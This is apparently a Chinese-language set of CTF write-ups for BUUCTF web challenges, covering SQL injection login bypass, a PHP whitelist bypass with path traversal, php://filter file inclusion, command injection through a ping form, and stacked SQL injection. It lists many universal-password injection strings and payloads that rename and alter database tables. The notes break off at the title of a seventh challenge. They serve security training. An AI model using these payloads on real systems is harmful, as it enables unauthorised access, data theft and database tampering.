WEB

第一题:[极客大挑战 2019]EasySQL

首先观察题目,给出了十分简洁的一个登陆界面,由题目名从sql的简单方法万能密码开始尝试。

![[极客大挑战 2019]EasySQL1](./BUUCTF刷题笔记/[极客大挑战 2019]EasySQL-1.png)

解出题目:

![[极客大挑战 2019]EasySQL-2](./BUUCTF刷题笔记/[极客大挑战 2019]EasySQL-2.png)

考察技巧:sql基本注入之万能密码

万能密码总结

万能密码的原理:

用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行sql语句。

简单举例:如[极客大挑战 2019]EasySQL此类的用户登录界面,当用户登录时,后台所执行的数据库查询语句是:

Select * From users Where user_id=’用户名’ And password=’密码’

由于网站后台在进行数据库查询时未对单引号进行过滤,当输入用户名【admin】和万能密码【1’ or ‘1’ =’1】时,同时通过sql语句中的逻辑运算符优先级顺寻我们可知:=优于and优于or,并且适用传递性,于是乎当我们输入时,后天会将我们的语句解析为

Select * From users Where user_id=’admin’ And password=’1’ or ‘1’=’1’

这条语句我们不难看出已经被拆分为了两条语句

Select * From users Where user_id=’admin’ And password=’1’

‘1’=’1’

1=1是恒等式为真,passwd的值为1为假,我们熟知两句的bool值进行逻辑or运算,一真一假,恒等为真TRUE。

sql语句的查询结果为TRUE,就意味着我们通过万能密码成功的认证了登录操作。

常见万能密码列举:

asp aspx万能密码

1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码

‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1’or’1’=’1
admin’ OR 1=1/*

第二题:[HCTF 2018]WarmUp

通过题目的提示我们不难发现这是一道关于php代码审计的题目,ctrl+u打开当前界面的HTML源代码

![[HCTF 2018]WarmUp-1](./BUUCTF刷题笔记/[HCTF 2018]WarmUp-1.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->

<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

查看源代码我们不难发现它在提示我们进入到http://6de29022-166f-4f24-b7ea-0f1246244b7f.node4.buuoj.cn:81/source.php界面查看我们需要审计的PHP代码。

分析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {//isset()判断变量是否声明,is_string()判断变量是否是字符串 ||逻辑或两个值任意一个为true,返回值为true执行if之中的语句
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//检测传输进来的值是否匹配白名单,匹配则执行true
return true;
}

$_page = mb_substr(//mb_substr()函数返回字符串的一部分,过滤问号,如果$page的值有?则从问好之前提取字符串
$page,
0,
mb_strpos($page . '?', '?')//mb_strpos()返回要查找的字符串在别一个字符串中首次出现的位置,返回$page.?里?出现的第一个位置
);
if (in_array($_page, $whitelist)) {//第二次检测传进来的值是否匹配白名单,匹配则执行true
return true;
}

$_page = urldecode($page);//url对$page解码
$_page = mb_substr(//第二次过滤问号
$_page,
0,
mb_strpos($_page . '?', '?')//第二次返回
);
if (in_array($_page, $whitelist)) {//第三次白名单检测
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

在代码中我们发现了关于题目的提示界面hint.php,打开查看发现如下文字:

flag not here, and flag in ffffllllaaaagggg

通过对代码的分析我们不难发现php代码进行了三次白名单检测,两次问号过滤,一次url解码

由此我们能够得到payload为:

?file=hint.php%3f../../../../../../ffffllllaaaagggg

小tips:include函数的一个功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被找到,则PHP执行的时候会自动包含‘/’后面的文件——注意是最后一个‘/’,其实题目的hint:ffffllllaaaagggg已经告诉我们flag在第五层目录。

代码审计详解:

本人博客

第三题:[极客大挑战 2019]Havefun

![[极客大挑战 2019]Havefun](./BUUCTF刷题笔记/[极客大挑战 2019]Havefun.png)

查看题目界面很难发现什么,打开页面源代码快速浏览,在底部找到了题目的提示代码

1
2
3
4
5
6
7
 <!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){//比较cat的值是否等于'dog'
echo 'Syc{cat_cat_cat_cat}';
}
-->

通过对这段代码的分析我们不难发现是很简单的get传值。

payload:?cat=dog

![[极客大挑战 2019]Havefun-1](./BUUCTF刷题笔记/[极客大挑战 2019]Havefun-1.png)

第四题:[ACTF2020 新生赛]Include

从题目标题和题目所给出的file=flag.php我们不难看出来,这道题是一道简单的文件包含。

![[ACTF2020 新生赛]Include-0](./BUUCTF刷题笔记/[ACTF2020 新生赛]Include-0.png)

通过php://filter的伪协议读取构建payload:

payload:?flie=php://filter/convert.base64-encode/resource=flag.php

![[ACTF2020 新生赛]Include-1](./BUUCTF刷题笔记/[ACTF2020 新生赛]Include-1.png)

通过payload读取出文件的所有内容,base64解密,发现flag。

![[ACTF2020 新生赛]Include-2](./BUUCTF刷题笔记/[ACTF2020 新生赛]Include-2.png)

考察技巧:文件包含:php伪协议分析

文件包含:PHP伪协议分析

基本知识:

php伪协议是php所支持的协议与封装协议。

利用PHP伪协议的前提:

php.ini之中含有两个参数:allow_url_fopen:允许url里的封装协议访问文件,一般默认为ON,allow_url_include:不允许包含url里的封装协议包含文件,一般默认为OFF.

php所支持的12个伪协议:

file:// 访问本地文件系统

http:// 访问HTTP(s)网址

ftp:// 访问FTP(s)URLs

php:// 访问各个输入/输出流(I/O steams)

zlib:// 压缩流

data:// 数据

glob:// 查找匹配的文件路径模式

phar:// PH 吗,P归档

ssh2:// Secure Shell 2

rar:// RAR

ogg:// 音频流

expect:// 处理交互式的流

php://协议

php://input

1、可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分

2、在enctype="multipart/form-data" 的时候php://input 是无效的

当allow_url_fopen=on和allow_url_include=on时,POST提交PHP代码,造成任意代码执行,例如写入文件。

例如:

![[ACTF2020 新生赛]Include-3](./BUUCTF刷题笔记/[ACTF2020 新生赛]Include-3.png)

php://output

只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区

php://fd

(>=5.3.6)允许直接访问指定的文件描述符

php://memory php://temp

1、(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据

2、两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://filter

1、(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用

2、对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

读取文件源码,php://filter可获取指定文件源码,通过文件包含漏洞,php://filter流会被当作php文件执行,一般对其编码,使其不被执行,达到任意文件读取的效果。

例如:

![[ACTF2020 新生赛]Include-4](./BUUCTF刷题笔记/[ACTF2020 新生赛]Include-4.png)

第五题:[ACTF2020 新生赛]Exec

![[ACTF2020 新生赛]Exec](./BUUCTF刷题笔记/[ACTF2020 新生赛]Exec.png)

打开题目发现是一个简单的ping命令窗口,猜测可能是命令执行尝试127.0.0.1|ls

![[ACTF2020 新生赛]Exec-1](./BUUCTF刷题笔记/[ACTF2020 新生赛]Exec-1.png)

![[ACTF2020 新生赛]Exec-2](./BUUCTF刷题笔记/[ACTF2020 新生赛]Exec-2.png)

发现管道符未被过滤,尝试cat /flag,得到flag。

![[ACTF2020 新生赛]Exec-3](./BUUCTF刷题笔记/[ACTF2020 新生赛]Exec-3.png)

![[ACTF2020 新生赛]Exec-4](./BUUCTF刷题笔记/[ACTF2020 新生赛]Exec-4.png)

考察技巧:简单命令执行

命令执行基本知识

远程命令执行/代码执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞。

管道符:

Windows:|–>直接执行后面的语句

​ ||–>如果前面执行的语句执行出错,则执行后面的语句

​ &–>如果前面的语句为假则直接执行后面的语句,前面的语句可真可假

​ &&–>如果前面的语句为真先执行第一个命令后执行第二个命令;为假 则直接出错,也不执行后面的语句

linux: ;–>执行完前面的命令执行后面的

​ |–>显示后面语句的执行结果

​ ||–>当前面的语句执行出错时,执行后面的语句

​ &–>如果前面的语句为假则直接执行后面的语句,前面的语句可真可假

​ &&–>如果前面的语句为真先执行第一个命令后执行第二个命令;为假 则直接出错,也不执行后面的语句

​ ()–>如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起来

危险函数:

1.system():执行shell命令,向dos发送一条指令,如system("pause")可以实现冻结屏幕,便于观察程序的执行结果;system("CLS")可以实现清屏操作;而调用color函数可以改变控制台的前景色和背景。

int system(const char *command)

2.passthru():只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上

3.exec():在PHP中,执行一个外部程序, exec() 执行 command 参数所指定的命令。

语法: exec(string $command, array &$output = ?, int &$return_var = ?): string

4.shell_exec():是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出

5.popen():通过创建一个管道,调用 fork 产生一个子进程,执行一个 shell 以运行命令来开启一个进程。这个进程必须由 pclose() 函数关闭,而不是 fclose() 函数。pclose() 函数关闭标准 I/O 流,等待命令执行结束,然后返回 shell 的终止状态。如果 shell 不能被执行,则 pclose() 返回的终止状态与 shell 已执行 exit 一样。

语法:FILE * popen ( const char * command , const char * type );

​ int pclose ( FILE * stream );

6.proc_open():执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。

语法:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

7.pcntl_exec():在当前进程空间执行指定程序

语法:void pcntl_exec ( string $path [, array $args [, array $envs ]] )

8.ob_start():打开输出控制缓冲,此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(消息头除外),相反需要输出的内容被存储在内部缓冲区中。

语法:ob_start(callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

9.eval():把字符串作为PHP代码执行

语法:eval(string $code): mixed

10.assert():检查断言是否为 false

https://www.php.net/manual/zh/function.assert.php

11.preg_replace:执行一个正则表达式的搜索和替换

12.phpinfo():这个文件里面包含了PHP的编译选项,启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息

13.symlink():一般是在linux服务器上使用的,为一个目标建立一个连接,在读取这个链接所连接的文件的内容,并返回内容

14.getenv:获取一个环境变量的值

15.putenv($a):添加$a到服务器环境变量,但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态

16.`(反单引号):用反引号,将shell命令引起来,可以将命令的输出值赋给变量。ps:$() 与 反引号 `` 其实效果是一样的

第六题:[强网杯 2019]随便注

![[强网杯 2019]随便注-1](./BUUCTF刷题笔记/[强网杯 2019]随便注-1.png)

通过select union 1,2,3# ,发现过滤了select|update|delete|drep|insert|where|.这几个sql查询的词语。

![[强网杯 2019]随便注-2](./BUUCTF刷题笔记/[强网杯 2019]随便注-2.png)

尝试show语句show databases,发现成功,证明show查询语句没被禁止;

![[强网杯 2019]随便注-3](./BUUCTF刷题笔记/[强网杯 2019]随便注-3.png)

尝试 爆出表名show tables;查看发现表中有一个以一串数字命名的列表和一个words列表,尝试爆出其中的内容,发现在1919810931114514列表中发现flag文件。![[强网杯 2019]随便注-4](./BUUCTF刷题笔记/[强网杯 2019]随便注-4.png)

尝试爆出flag文件:

方法一:handler直接读取

payload:1’;handler `1919810931114514` open;handler `1919810931114514` read next;

![[强网杯 2019]随便注-5](./BUUCTF刷题笔记/[强网杯 2019]随便注-5.png)

方法二:将1919810931114514文件重命名修改为words文件

payload:1’; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

![[强网杯 2019]随便注-6](./BUUCTF刷题笔记/[强网杯 2019]随便注-6.png)

考察技巧:sql基本注入

SQL基本注入讲解

第七题:[SUCTF 2019]EasySQL